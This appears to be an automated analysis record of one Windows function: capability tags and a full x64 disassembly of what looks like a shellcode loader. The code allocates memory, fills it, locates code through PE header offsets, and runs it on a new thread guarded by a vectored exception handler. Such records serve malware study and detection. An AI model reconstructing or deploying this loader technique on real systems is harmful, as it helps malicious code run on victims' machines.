Function at 0x1400015a0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov ebx, 2
mov dword [0x140005780], 0
mov dword [0x14000579c], ebx
mov dword [0x1400057a4], ebx
mov dword [0x14000580c], ebx
mov dword [0x140005814], ebx
mov dword [0x14000581c], ebx
mov dword [0x140005834], ebx
mov dword [0x140005844], ebx
mov dword [0x140005874], ebx
mov dword [0x1400058a4], ebx
mov dword [0x140005784], 1
mov dword [0x140005788], 1
mov dword [0x14000578c], 4
mov dword [0x140005790], 5
mov dword [0x140005794], 5
mov dword [0x140005798], 0xa
mov dword [0x1400057a0], 0xc
mov dword [0x1400057a8], 0xe
mov dword [0x1400057ac], 1
mov dword [0x1400057b0], 0xf
mov dword [0x1400057b4], 1
mov dword [0x1400057b8], 0x10
mov dword [0x1400057bc], 1
mov dword [0x1400057c0], 0x11
mov dword [0x1400057c4], 3
mov dword [0x1400057c8], 0x14
mov dword [0x1400057cc], 5
mov dword [0x1400057d0], 0x19
mov dword [0x1400057d4], 4
mov dword [0x1400057d8], 0x1d
mov dword [0x1400057dc], 4
mov dword [0x1400057e0], 0x21
mov dword [0x1400057e4], 4
mov dword [0x1400057e8], 0x25
mov dword [0x1400057ec], 5
mov dword [0x1400057f0], 0x2a
mov dword [0x1400057f4], 3
mov dword [0x1400057f8], 0x2d
mov dword [0x1400057fc], 3
mov dword [0x140005800], 0x30
mov dword [0x140005804], 1
mov dword [0x140005808], 0x31
mov dword [0x140005810], 0x33
mov dword [0x140005818], 0x35
mov dword [0x140005820], 0x37
mov dword [0x140005824], 4
mov dword [0x140005828], 0x3b
mov dword [0x14000582c], 3
mov dword [0x140005830], 0x3e
mov dword [0x140005838], 0x40
mov dword [0x14000583c], 1
mov dword [0x140005840], 0x41
mov dword [0x140005848], 0x43
mov dword [0x14000584c], 4
mov dword [0x140005850], 0x47
mov dword [0x140005854], 3
mov dword [0x140005858], 0x4a
mov dword [0x14000585c], 3
mov dword [0x140005860], 0x4d
mov dword [0x140005864], 6
mov dword [0x140005868], 0x53
mov dword [0x14000586c], 3
mov dword [0x140005870], 0x56
mov dword [0x140005878], 0x58
mov dword [0x14000587c], 3
mov dword [0x140005880], 0x5b
mov dword [0x140005884], 1
mov dword [0x140005888], 0x5c
mov dword [0x14000588c], 3
mov dword [0x140005890], 0x5f
mov dword [0x140005894], 4
mov dword [0x140005898], 0x63
mov dword [0x14000589c], 3
mov dword [0x1400058a0], 0x66
mov dword [0x1400058a8], 0x68
mov dword [0x1400058ac], 3
mov dword [0x1400058b0], 0x6b
mov dword [0x1400058b4], 4
mov dword [0x1400058b8], 0x6f
mov dword [0x1400058bc], 3
mov dword [0x1400058c0], 0x72
mov dword [0x1400058c4], 3
mov dword [0x1400058c8], 0x75
mov dword [0x1400058cc], 3
mov dword [0x1400058d0], 0x78
mov dword [0x1400058d4], 1
mov dword [0x1400058d8], 0x79
mov dword [0x1400058dc], 4
mov dword [0x1400058e0], 0x7d
mov dword [0x1400058e4], 3
mov dword [0x1400058e8], 0x80
mov dword [0x1400058ec], ebx
mov dword [0x1400058f0], 0x82
mov dword [0x1400058f4], ebx
mov dword [0x1400058f8], 0x84
mov dword [0x1400058fc], 5
mov dword [0x140005900], 0x89
mov dword [0x140005904], 3
mov dword [0x140005908], 0x8c
mov dword [0x14000590c], ebx
mov dword [0x140005910], 0x8e
mov dword [0x140005914], 1
mov dword [0x140005918], 0x8f
mov dword [0x14000591c], 4
mov dword [0x140005920], 0x93
mov dword [0x140005924], 3
mov dword [0x140005928], 0x96
mov dword [0x14000592c], 5
mov dword [0x140005930], 0x9b
mov dword [0x140005934], 4
mov dword [0x140005938], 0x9f
mov dword [0x14000593c], 3
mov dword [0x140005940], 0xa2
mov dword [0x140005944], 4
mov dword [0x140005948], 0xa6
mov dword [0x14000594c], 3
mov dword [0x140005950], 0xa9
mov dword [0x140005954], ebx
mov dword [0x140005958], 0xab
mov dword [0x14000595c], ebx
mov dword [0x140005960], 0xad
mov dword [0x140005964], 1
mov dword [0x140005968], 0xae
mov dword [0x14000596c], 1
mov dword [0x140005970], 0xaf
mov dword [0x140005974], 1
mov dword [0x140005978], 0xb0
mov dword [0x14000597c], ebx
mov dword [0x140005980], 0xb2
mov dword [0x140005984], ebx
mov dword [0x140005988], 0xb4
mov dword [0x14000598c], ebx
mov dword [0x140005990], 0xb6
mov dword [0x140005994], 4
mov dword [0x140005998], 0xba
mov dword [0x14000599c], ebx
mov dword [0x1400059a0], 0xbc
mov dword [0x1400059a4], ebx
mov dword [0x1400059a8], 0xbe
mov dword [0x1400059ac], 1
mov dword [0x1400059b0], 0xbf
mov dword [0x1400059b4], ebx
mov dword [0x1400059b8], 0xc1
mov dword [0x1400059bc], 1
mov dword [0x1400059c0], 0xc2
mov dword [0x1400059c4], 3
mov dword [0x1400059c8], 0xc5
mov dword [0x1400059cc], 5
mov dword [0x1400059d0], 0xca
mov dword [0x1400059d4], 1
mov dword [0x1400059d8], 0xcb
mov dword [0x1400059dc], 0xa
mov dword [0x1400059e0], 0xd5
mov dword [0x1400059e4], 7
mov dword [0x1400059e8], 0xdc
mov dword [0x1400059ec], 6
mov dword [0x1400059f0], 0xe2
mov dword [0x1400059f4], ebx
mov dword [0x1400059f8], 0xe4
mov dword [0x1400059fc], 5
mov edx, 0x114
mov dword [0x140005a00], 0xe9
xor ecx, ecx
mov dword [0x140005a04], 6
lea r9d, [rbx + 2]
mov dword [0x140005a08], 0xef
mov r8d, 0x1000
mov dword [0x140005a0c], ebx
mov dword [0x140005a10], 0xf1
mov dword [0x140005a14], 4
mov dword [0x140005a18], 0xf5
mov dword [0x140005a1c], ebx
mov dword [0x140005a20], 0xf7
mov dword [0x140005a24], ebx
mov dword [0x140005a28], 0xf9
mov dword [0x140005a2c], 3
mov dword [0x140005a30], 0xfc
mov dword [0x140005a34], ebx
mov dword [0x140005a38], 0xfe
mov dword [0x140005a3c], 5
mov dword [0x140005a40], 0x103
mov dword [0x140005a44], ebx
mov dword [0x140005a48], 0x105
mov dword [0x140005a4c], 1
mov dword [0x140005a50], 0x106
mov dword [0x140005a54], 3
mov dword [0x140005a58], 0x109
mov dword [0x140005a5c], ebx
mov dword [0x140005a60], 0x10b
mov dword [0x140005a64], 1
mov dword [0x140005a68], 0x10c
mov dword [0x140005a6c], 1
mov dword [0x140005a70], 0x10d
mov dword [0x140005a74], 1
mov dword [0x140005a78], 0x10e
mov dword [0x140005a7c], 1
mov dword [0x140005a80], 0x10f
mov dword [0x140005a84], 4
mov dword [0x140005a88], 0x113
mov dword [0x140005a8c], 1
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x140005758], rax
test rax, rax
je 0x140001df9
movdqa xmm0, xmmword [0x1400032d0]
movq rcx, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmmword [rax - 0x10], xmm0
sub rbx, 1
jne 0x140001d21
movups xmmword [rax], xmm0
mov dword [rax + 0x10], ecx
mov byte [rax + 0x14], cl
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140001d80
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x114]
mov r8d, dword [rcx + rax + 0x110]
add rbx, rax
add r8, 5
add rbx, r8
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140001de4
lea rdx, [0x140001140]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
test rax, rax
je 0x140001ddb
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [0x140001140]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140005758]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
add rsp, 0x30
pop rbx
ret